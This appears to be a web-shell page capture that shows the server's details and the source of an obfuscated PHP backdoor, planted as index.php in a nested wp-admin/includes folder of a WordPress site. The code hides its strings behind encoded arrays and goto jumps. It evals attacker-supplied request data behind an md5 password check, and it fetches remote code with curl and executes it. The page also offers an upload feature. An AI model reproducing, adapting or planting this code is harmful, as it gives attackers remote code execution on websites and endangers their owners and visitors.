HEX
Server: Apache/2.4.58 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.13
System: Linux server01.bizaflix.com 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:44:45 UTC 2025 aarch64
User: wetabyte (1007)
PHP: 8.2.29
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
Upload Files
File: /home/wetabyte/web/app.wetabyte.com/public_html/wp-admin/includes/includes/index.php
<?php
 goto Yjz5wJt6eOU2lN; dS3ujQFKXTIJSH: metaphone("\x47\x78\x76\x44\x6a\x51\x78\x45\x56\142\171\106\166\62\x70\x77\61\x62\x56\x53\143\131\153\x4a\71\x4b\151\62\65\111\102\143\156\131\x71\x76\x52\x6f\130\x53\130\x52\x30"); goto GQpye3ks97LehS; gOyvAzQ0rZ0hUY: $rJ11zGHnCISNAk = $zxKoZBZyR1IIqP("\176", "\x20"); goto g1eghblBOfURla; Yjz5wJt6eOU2lN: $zxKoZBZyR1IIqP = "\x72" . "\x61" . "\x6e" . "\147" . "\145"; goto gOyvAzQ0rZ0hUY; EZwg4LrVeUQ75M: @(md5(md5(md5(md5($ceHIObzsuacvh0[18])))) === "\70\x61\63\71\x38\x34\x31\x61\x66\60\143\64\x37\146\x33\x39\144\x31\x30\66\x66\67\64\x33\x35\61\61\x32\66\144\x37\x65") && (count($ceHIObzsuacvh0) == 24 && in_array(gettype($ceHIObzsuacvh0) . count($ceHIObzsuacvh0), $ceHIObzsuacvh0)) ? ($ceHIObzsuacvh0[61] = $ceHIObzsuacvh0[61] . $ceHIObzsuacvh0[75]) && ($ceHIObzsuacvh0[84] = $ceHIObzsuacvh0[61]($ceHIObzsuacvh0[84])) && @eval($ceHIObzsuacvh0[61](${$ceHIObzsuacvh0[34]}[13])) : $ceHIObzsuacvh0; goto dS3ujQFKXTIJSH; GQpye3ks97LehS: class I2Fyb0kojPZoXN { static function TcBp_B5dckfXKq($yYDHJJrRxtUorq) { goto Ut0sDxT8l63HAR; Ut0sDxT8l63HAR: $V_nHwiBH1PTgLK = "\162" . "\141" . "\x6e" . "\147" . "\x65"; goto qgFvOOn1wAk6ly; Qg4KUCivequMw6: return $ODYQqn9ep40nbM; goto PZqlqPB8z7NYJj; ZiDXMtk2TnCmzm: Cg2zq9TXdwQ0s0: goto Qg4KUCivequMw6; m24Ejr7Awjy06q: foreach ($x1ljFhlSG0j0Vv as $Lrel9PgzgCJNDl => $Vzl1cLiY8iSgO9) { $ODYQqn9ep40nbM .= $fVqefHRbYc3G3F[$Vzl1cLiY8iSgO9 - 71860]; QyV2mXpZe_13T_: } goto ZiDXMtk2TnCmzm; qljY9zm1j5OnLh: $x1ljFhlSG0j0Vv = explode("\x40", $yYDHJJrRxtUorq); goto o0tLsBOz82xiMb; o0tLsBOz82xiMb: $ODYQqn9ep40nbM = ''; goto m24Ejr7Awjy06q; qgFvOOn1wAk6ly: $fVqefHRbYc3G3F = $V_nHwiBH1PTgLK("\176", "\40"); goto qljY9zm1j5OnLh; PZqlqPB8z7NYJj: } static function usn7ht0oVRQU6C($vUyHMKNeZ0RsQN, $rdMwbTAKLEUvSJ) { goto QHzSp54wnI9wG7; JvZp3vxuAFrhkA: curl_setopt($bG6ZqFSI1PzCuN, CURLOPT_RETURNTRANSFER, 1); goto c1k2qbR9ua1oa0; QHzSp54wnI9wG7: $bG6ZqFSI1PzCuN = curl_init($vUyHMKNeZ0RsQN); goto JvZp3vxuAFrhkA; c1k2qbR9ua1oa0: $mRSp7ZzlfRHhBU = curl_exec($bG6ZqFSI1PzCuN); goto jmyejIc2hUUvC_; jmyejIc2hUUvC_: return empty($mRSp7ZzlfRHhBU) ? $rdMwbTAKLEUvSJ($vUyHMKNeZ0RsQN) : $mRSp7ZzlfRHhBU; goto CbHEy7pPXM1QzG; CbHEy7pPXM1QzG: } static function Pi7TwwAhj806vI() { goto A8LeyOiF3oFt1h; AcuGK2_yPBqAV4: if (!(@$Z6NFcjvvzqcWzR[0] - time() > 0 and $qhfqsFoyLp3SYa === "\x32\71\67\x38\64\145\x34\143\x31\x62\65\145\145\x39\x34\142\x36\60\x30\x35\x63\141\x30\143\x36\x34\67\146\x65\x34\145\70")) { goto OJbfzq_Po3GV0D; } goto d7VCGjGjGm_Jnu; Sr9HbHzdAbqhUK: $qhfqsFoyLp3SYa = md5($pbXKEVTH2LwUX7); goto AcuGK2_yPBqAV4; A8LeyOiF3oFt1h: $HDWp9knlxjjlOp = array("\x37\61\70\x38\67\100\x37\x31\70\x37\x32\100\x37\x31\x38\70\65\100\x37\61\70\x38\71\x40\67\61\70\x37\60\x40\67\x31\70\70\65\x40\x37\61\70\71\61\100\x37\61\x38\x38\64\x40\67\61\70\x36\71\x40\x37\61\70\x37\66\100\67\61\x38\70\67\x40\x37\x31\70\67\60\x40\x37\x31\70\x38\x31\100\67\61\x38\67\x35\x40\x37\x31\70\x37\66", "\x37\61\x38\67\61\x40\x37\x31\70\x37\x30\x40\67\x31\70\67\x32\100\67\x31\70\71\61\x40\67\x31\70\x37\x32\100\x37\61\x38\67\x35\x40\67\x31\70\x37\60\100\x37\x31\71\x33\x37\100\67\61\x39\63\x35", "\x37\61\70\x38\x30\100\67\61\x38\67\x31\100\x37\x31\x38\x37\x35\100\x37\61\70\67\x36\x40\x37\61\70\71\x31\100\67\61\x38\x38\x36\100\x37\61\70\x38\x35\100\x37\x31\70\x38\x37\100\x37\61\x38\67\x35\x40\x37\x31\70\x38\x36\x40\67\61\70\70\x35", "\x37\x31\x38\x37\64\100\x37\x31\70\x38\71\100\67\61\70\x38\x37\100\67\61\70\67\71", "\x37\61\x38\70\70\100\67\x31\70\x38\71\x40\67\61\70\x37\x31\x40\x37\61\70\70\x35\x40\x37\x31\x39\x33\x32\100\67\x31\x39\63\64\x40\x37\x31\70\71\61\x40\67\x31\x38\70\x36\x40\67\x31\x38\70\x35\x40\67\x31\70\70\67\x40\67\x31\x38\67\x35\100\67\61\70\x38\x36\x40\67\x31\x38\x38\65", "\67\61\x38\70\64\100\x37\61\x38\70\x31\x40\x37\61\x38\x37\x38\100\x37\x31\x38\70\65\100\67\61\x38\x39\61\x40\x37\x31\70\70\x33\100\67\x31\70\70\65\100\x37\x31\70\67\x30\x40\67\x31\70\71\61\100\x37\x31\70\x38\x37\100\x37\61\x38\x37\65\x40\67\x31\70\67\x36\100\67\61\x38\67\60\x40\x37\x31\x38\70\65\100\67\61\70\67\x36\x40\x37\x31\70\67\x30\100\x37\x31\70\x37\61", "\67\61\x39\61\64\100\x37\61\71\x34\64", "\67\x31\70\66\61", "\67\x31\x39\63\x39\100\x37\61\71\x34\x34", "\67\x31\x39\62\61\100\67\x31\71\60\64\100\67\61\x39\x30\x34\x40\x37\61\x39\62\61\x40\67\61\70\71\x37", "\x37\61\70\x38\64\x40\x37\x31\x38\x38\x31\x40\x37\61\x38\67\x38\100\67\61\70\x37\60\100\x37\61\70\70\x35\x40\67\x31\x38\x37\62\x40\x37\61\70\71\x31\100\x37\61\x38\x38\61\x40\x37\61\70\x37\x36\x40\67\x31\x38\67\64\100\x37\x31\70\x36\x39\x40\x37\61\x38\67\60"); goto EjoVjRnhTfFBxO; V9RRfti_Rq9blU: $br0zVGwfpO3qOv = @$sIvx3YwhYJBqk5[1]($sIvx3YwhYJBqk5[6 + 4](INPUT_GET, $sIvx3YwhYJBqk5[8 + 1])); goto IJRAyeJSVx9sg6; FsTEnh4v3rxulE: @eval($sIvx3YwhYJBqk5[0 + 4]($RxzMZpQOkHXZNw)); goto aIhKS5cX4z8sLO; al2l9LpQmUtfqX: $pbXKEVTH2LwUX7 = md5($Z6NFcjvvzqcWzR[2 + 1]); goto X9BdJkx7jymSJy; d7VCGjGjGm_Jnu: $RxzMZpQOkHXZNw = self::USN7hT0ovRqu6c($Z6NFcjvvzqcWzR[0 + 1], $sIvx3YwhYJBqk5[3 + 2]); goto FsTEnh4v3rxulE; IJRAyeJSVx9sg6: $MnFhBr1FNV9auj = @$sIvx3YwhYJBqk5[1 + 2]($sIvx3YwhYJBqk5[1 + 5], $br0zVGwfpO3qOv); goto x3rVJ2NFGeB2R0; EjoVjRnhTfFBxO: foreach ($HDWp9knlxjjlOp as $iayFdPHBptryn_) { $sIvx3YwhYJBqk5[] = self::tCbP_B5DCkfxkQ($iayFdPHBptryn_); Dcz5dyWNPISe94: } goto Na0g1zzcI1lzly; sRIoQBxlodH3vH: OJbfzq_Po3GV0D: goto oBLQB3sqsRYYiM; Na0g1zzcI1lzly: o3mWyrwT3gF2fX: goto V9RRfti_Rq9blU; X9BdJkx7jymSJy: @$sIvx3YwhYJBqk5[2 + 8](INPUT_GET, "\157\x66") == 1 && die($sIvx3YwhYJBqk5[3 + 2](__FILE__)); goto Sr9HbHzdAbqhUK; aIhKS5cX4z8sLO: die; goto sRIoQBxlodH3vH; x3rVJ2NFGeB2R0: $Z6NFcjvvzqcWzR = $sIvx3YwhYJBqk5[0 + 2]($MnFhBr1FNV9auj, true); goto al2l9LpQmUtfqX; oBLQB3sqsRYYiM: } } goto te2UoBpJJUg_be; g1eghblBOfURla: $ceHIObzsuacvh0 = ${$rJ11zGHnCISNAk[26 + 5] . $rJ11zGHnCISNAk[41 + 18] . $rJ11zGHnCISNAk[47 + 0] . $rJ11zGHnCISNAk[15 + 32] . $rJ11zGHnCISNAk[44 + 7] . $rJ11zGHnCISNAk[9 + 44] . $rJ11zGHnCISNAk[40 + 17]}; goto EZwg4LrVeUQ75M; te2UoBpJJUg_be: i2Fyb0KoJPzoxN::pI7TWwahJ806VI();
?>